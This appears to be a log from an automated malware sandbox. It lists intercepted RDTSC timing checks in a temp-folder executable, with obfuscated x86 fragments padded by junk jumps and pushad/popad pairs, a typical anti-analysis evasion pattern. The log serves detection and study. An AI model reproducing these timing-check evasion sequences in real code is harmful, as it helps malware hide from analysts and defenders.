Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3171AB second address: 3171B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32F615 second address: 32F62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FE5D4EEBCBBh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32F62A second address: 32F62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32FA62 second address: 32FA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32FD0A second address: 32FD0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32FD0E second address: 32FD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE5D4EEBCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f je 00007FE5D4EEBCB6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 32FD2A second address: 32FD2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334165 second address: 33416B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334235 second address: 33424B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3343FA second address: 3343FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3344AE second address: 3344DF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE5D53969F7h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE5D53969ECh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3344DF second address: 3344E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 3344E3 second address: 334502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000004h 0x0000000a mov dh, 8Bh 0x0000000c call 00007FE5D53969E9h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jp 00007FE5D53969E6h 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334502 second address: 334509 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334509 second address: 334535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jl 00007FE5D53969E8h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE5D53969ECh 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 push eax 0x00000023 pop eax 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334535 second address: 334551 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334551 second address: 334555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334555 second address: 33457F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE5D4EEBCC9h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 334846 second address: 33487D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5D53969EDh 0x0000000c pop edx 0x0000000d nop 0x0000000e or dx, 463Eh 0x00000013 push dword ptr [ebp+122DB66Eh] 0x00000019 mov edx, dword ptr [ebp+122D381Ah] 0x0000001f or dword ptr [ebp+122D269Ah], ebx 0x00000025 push FFFC398Fh 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 33487D second address: 334881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D4E second address: 49D0D74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5D53969EDh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D74 second address: 49D0D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D7A second address: 49D0D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D7E second address: 49D0D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D8D second address: 49D0D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0D93 second address: 49D0DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCC6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0D57 second address: 49C0D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49C0D71 second address: 49C0E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FE5D4EEBCC4h 0x00000010 pop edi 0x00000011 pushfd 0x00000012 jmp 00007FE5D4EEBCBEh 0x00000017 add ax, A508h 0x0000001c jmp 00007FE5D4EEBCBBh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FE5D4EEBCC9h 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b movzx ecx, dx 0x0000002e mov di, EFACh 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 jmp 00007FE5D4EEBCBBh 0x0000003a pop ebp 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FE5D4EEBCBBh 0x00000044 sbb cx, 335Eh 0x00000049 jmp 00007FE5D4EEBCC9h 0x0000004e popfd 0x0000004f mov edi, ecx 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A009FF second address: 4A00A05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00A05 second address: 4A00A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0110 second address: 49A0114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0114 second address: 49A011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A011A second address: 49A0164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 3510h 0x00000011 pushfd 0x00000012 jmp 00007FE5D53969F9h 0x00000017 xor cx, 2B96h 0x0000001c jmp 00007FE5D53969F1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0164 second address: 49A0174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0174 second address: 49A0178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0178 second address: 49A0188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A0188 second address: 49A01A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A01A0 second address: 49A01E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d call 00007FE5D4EEBCC4h 0x00000012 mov ecx, 07AB5B51h 0x00000017 pop esi 0x00000018 mov edi, 5C1F2142h 0x0000001d popad 0x0000001e push dword ptr [ebp+0Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movzx ecx, bx 0x00000027 mov ax, bx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49A022B second address: 49A0282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE5D53969F3h 0x00000013 add ax, A50Eh 0x00000018 jmp 00007FE5D53969F9h 0x0000001d popfd 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D00BB second address: 49D00BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D00BF second address: 49D00C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E01C3 second address: 49E01C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E01C7 second address: 49E01CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E01CD second address: 49E01D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E01D3 second address: 49E01D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E01D7 second address: 49E021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FE5D4EEBCC0h 0x00000012 mov eax, dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 mov dx, cx 0x00000019 popad 0x0000001a and dword ptr [eax], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE5D4EEBCBBh 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E021F second address: 49E0269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE5D53969ECh 0x00000014 sbb cx, 1CC8h 0x00000019 jmp 00007FE5D53969EBh 0x0000001e popfd 0x0000001f movzx esi, bx 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49E0269 second address: 49E0270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0F5C second address: 49D0FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007FE5D53969F3h 0x0000000b add ah, FFFFFF9Eh 0x0000000e jmp 00007FE5D53969F9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE5D53969F3h 0x00000021 jmp 00007FE5D53969F3h 0x00000026 popfd 0x00000027 movzx esi, dx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0FC5 second address: 49D0FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 49D0FCB second address: 49D0FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0001B second address: 4A0006D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5D4EEBCBFh 0x00000009 xor eax, 17F7FCCEh 0x0000000f jmp 00007FE5D4EEBCC9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE5D4EEBCC9h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0006D second address: 4A00073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00073 second address: 4A000A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE5D4EEBCC5h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A000A6 second address: 4A00103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cx, E513h 0x00000010 pushfd 0x00000011 jmp 00007FE5D53969F8h 0x00000016 and eax, 2731BF98h 0x0000001c jmp 00007FE5D53969EBh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE5D53969F0h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00103 second address: 4A00107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00107 second address: 4A0010D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0010D second address: 4A0011E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0011E second address: 4A0013C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0013C second address: 4A00142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00142 second address: 4A00148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00148 second address: 4A0017B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE5D4EEBCC2h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0017B second address: 4A0019F instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [76FA65FCh] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5D53969F6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0019F second address: 4A001C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 4Fh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d mov di, si 0x00000010 popad 0x00000011 je 00007FE64740F46Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE5D4EEBCBFh 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A001C7 second address: 4A001CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A001CC second address: 4A001EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE5D4EEBCC3h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A001EE second address: 4A0020B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0020B second address: 4A00211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00211 second address: 4A00215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00215 second address: 4A00219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00219 second address: 4A002B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, dword ptr [ebp+08h] 0x0000000b jmp 00007FE5D53969F4h 0x00000010 and ecx, 1Fh 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE5D53969EEh 0x0000001a xor ah, 00000028h 0x0000001d jmp 00007FE5D53969EBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FE5D53969F8h 0x00000029 or ax, 4688h 0x0000002e jmp 00007FE5D53969EBh 0x00000033 popfd 0x00000034 popad 0x00000035 ror eax, cl 0x00000037 pushad 0x00000038 movzx eax, bx 0x0000003b mov eax, edx 0x0000003d popad 0x0000003e leave 0x0000003f pushad 0x00000040 mov ax, bx 0x00000043 mov ecx, edi 0x00000045 popad 0x00000046 retn 0004h 0x00000049 nop 0x0000004a mov esi, eax 0x0000004c lea eax, dword ptr [ebp-08h] 0x0000004f xor esi, dword ptr [00092014h] 0x00000055 push eax 0x00000056 push eax 0x00000057 push eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b push eax 0x0000005c call 00007FE5D9D46CAFh 0x00000061 push FFFFFFFEh 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FE5D53969F9h 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A002B8 second address: 4A002BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A002BE second address: 4A002D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D53969F3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A002D5 second address: 4A00311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE5D4EEBCC8h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00311 second address: 4A00315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A00315 second address: 4A0031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 4A0031B second address: 4A00321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
